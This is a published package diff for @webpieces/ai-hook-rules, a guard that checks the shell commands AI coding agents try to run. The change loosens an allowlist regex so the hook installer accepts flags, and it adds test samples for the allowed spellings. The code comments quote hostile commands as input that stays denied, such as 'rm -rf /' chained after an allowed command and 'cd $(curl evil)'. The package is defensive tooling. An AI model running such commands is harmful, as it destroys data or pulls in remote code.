@webpieces/ai-hook-rules 0.4.549 → 0.4.551

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@webpieces/ai-hook-rules",
3
- "version": "0.4.549",
3
+ "version": "0.4.551",
4
4
  "description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
5
5
  "type": "commonjs",
6
6
  "main": "./src/index.js",
@@ -32,7 +32,7 @@
32
32
  "directory": "packages/tooling/ai-hook-rules"
33
33
  },
34
34
  "dependencies": {
35
- "@webpieces/rules-config": "0.4.549"
35
+ "@webpieces/rules-config": "0.4.551"
36
36
  },
37
37
  "publishConfig": {
38
38
  "access": "public"
@@ -18,6 +18,8 @@ export declare const RESTORE_SHIM_CMD = "cp node_modules/@webpieces/ai-hook-rule
18
18
  export declare const INSTALL_HOOKS_ALLOW_ERE: string;
19
19
  export declare const INSTALL_HOOKS_ALLOW_JS: RegExp;
20
20
  export declare const INSTALL_HOOKS_CMD = "pnpm exec wp-install-ai-hooks";
21
+ export declare const INSTALL_HOOKS_SYNC_CMD = "pnpm wp-install-ai-hooks --sync";
22
+ export declare const INSTALL_HOOKS_TARGET_CMD = "pnpm wp-install-ai-hooks --target=project";
21
23
  /** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */
22
24
  export declare class L0Call {
23
25
  readonly toolName: string;
@@ -31,6 +33,10 @@ export declare class L0Call {
31
33
  * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the
32
34
  * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —
33
35
  * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.
36
+ *
37
+ * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny
38
+ * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that
39
+ * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.
34
40
  */
35
41
  export declare class L0AllowEntry {
36
42
  readonly label: string;
@@ -38,7 +44,10 @@ export declare class L0AllowEntry {
38
44
  readonly ere: string | null;
39
45
  readonly js: string | null;
40
46
  readonly sample: L0Call;
41
- constructor(label: string, kind: 'pass' | 'allow', ere: string | null, js: string | null, sample: L0Call);
47
+ readonly extraSamples: readonly L0Call[];
48
+ constructor(label: string, kind: 'pass' | 'allow', ere: string | null, js: string | null, sample: L0Call, extraSamples?: readonly L0Call[]);
49
+ /** Every call this entry pins: the canonical sample plus every extra spelling. */
50
+ allSamples(): readonly L0Call[];
42
51
  }
43
52
  export declare const L0_ALLOWLIST: readonly L0AllowEntry[];
44
53
  export declare const L0_ALLOW_ERE: string;
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.READ_TOOLS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_CMD = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
3
+ exports.READ_TOOLS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_SYNC_CMD = exports.INSTALL_HOOKS_CMD = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
4
4
  exports.isAllowed = isAllowed;
5
5
  const tslib_1 = require("tslib");
6
6
  const path = tslib_1.__importStar(require("path"));
@@ -189,15 +189,35 @@ exports.RESTORE_SHIM_CMD = 'cp node_modules/@webpieces/ai-hook-rules/templates/a
189
189
  // now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier
190
190
  // treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.
191
191
  //
192
- // Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no
193
- // shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).
194
- const INSTALL_HOOKS_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks';
192
+ // FLAGS ARE ACCEPTED (added for `--sync`, 2026-08-02). Two messages that fire while the config is
193
+ // INVALID i.e. exactly when every Bash call is denied prescribe `pnpm wp-install-ai-hooks --sync`:
194
+ // the section-placement errors ("[x] belongs in the hookGuards section … or run …") and the retired
195
+ // top-level `pr-gate` block. `migrate()` in setup.ts really does perform both edits, so the cure is
196
+ // correct; it was simply untypable, because this pattern accepted no flags at all. That is the same
197
+ // deadlock shape as the missing `2>&1 | tail` and the missing `cd` prefix: a deny naming a command the
198
+ // allowlist rejects. The flag token is the identical one INSTALLER_BODY_ERE already allows — `--word`
199
+ // / `--word=value`, no whitespace, no operator — so it widens nothing else:
200
+ // `pnpm wp-install-ai-hooks --sync && rm -rf /` still FAILS CLOSED.
201
+ //
202
+ // Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens
203
+ // only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).
204
+ const INSTALL_HOOKS_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
195
205
  exports.INSTALL_HOOKS_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + exports.CAPTURE_TAIL_ERE;
196
206
  // JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
197
- const INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks';
207
+ const INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
198
208
  exports.INSTALL_HOOKS_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
199
209
  // The exact command the self-guard's deny names FIRST. Present in every release that has a shim.
200
210
  exports.INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';
211
+ // The MIGRATION spelling, named by every config-validation error an agent can be handed while the
212
+ // config is INVALID (a misplaced section, a retired key, a missing rule entry) — i.e. while every other
213
+ // Bash call is denied. It is also the only NON-INTERACTIVE spelling: `--sync` runs seedOrSyncConfig and
214
+ // returns, whereas the bare bin goes on to wire the Claude Code hooks and PROMPTS for a target, which
215
+ // hangs a non-interactive agent. Pinned as a sample on the allowlist entry so a coverage test locks it.
216
+ exports.INSTALL_HOOKS_SYNC_CMD = 'pnpm wp-install-ai-hooks --sync';
217
+ // The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`
218
+ // flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token
219
+ // INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.
220
+ exports.INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';
201
221
  // ---------------------------------------------------------------------------
202
222
  // THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.
203
223
  //
@@ -244,6 +264,10 @@ exports.L0Call = L0Call;
244
264
  * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the
245
265
  * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —
246
266
  * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.
267
+ *
268
+ * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny
269
+ * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that
270
+ * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.
247
271
  */
248
272
  class L0AllowEntry {
249
273
  label;
@@ -251,12 +275,19 @@ class L0AllowEntry {
251
275
  ere;
252
276
  js;
253
277
  sample;
254
- constructor(label, kind, ere, js, sample) {
278
+ extraSamples;
279
+ // eslint-disable-next-line @typescript-eslint/max-params
280
+ constructor(label, kind, ere, js, sample, extraSamples = []) {
255
281
  this.label = label;
256
282
  this.kind = kind;
257
283
  this.ere = ere;
258
284
  this.js = js;
259
285
  this.sample = sample;
286
+ this.extraSamples = extraSamples;
287
+ }
288
+ /** Every call this entry pins: the canonical sample plus every extra spelling. */
289
+ allSamples() {
290
+ return [this.sample, ...this.extraSamples];
260
291
  }
261
292
  }
262
293
  exports.L0AllowEntry = L0AllowEntry;
@@ -269,7 +300,7 @@ exports.L0_ALLOWLIST = [
269
300
  new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS, new L0Call('Bash', 'git pull', '')),
270
301
  new L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, new L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
271
302
  new L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, new L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
272
- new L0AllowEntry(exports.INSTALL_HOOKS_CMD, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, new L0Call('Bash', exports.INSTALL_HOOKS_CMD, '')),
303
+ new L0AllowEntry(`${exports.INSTALL_HOOKS_CMD} (flags allowed, e.g. --sync)`, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, new L0Call('Bash', exports.INSTALL_HOOKS_CMD, ''), [new L0Call('Bash', exports.INSTALL_HOOKS_SYNC_CMD, ''), new L0Call('Bash', exports.INSTALL_HOOKS_TARGET_CMD, '')]),
273
304
  ];
274
305
  const L0_BODIES_ERE = exports.L0_ALLOWLIST.flatMap((e) => (e.ere === null ? [] : [e.ere]));
275
306
  const L0_BODIES_JS = exports.L0_ALLOWLIST.flatMap((e) => (e.js === null ? [] : [e.js]));
@@ -1 +1 @@
1
- {"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = '(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?';\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = '(cd\\\\s+[A-Za-z0-9._\\\\/@~+-]+\\\\s*&&\\\\s*)?';\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && 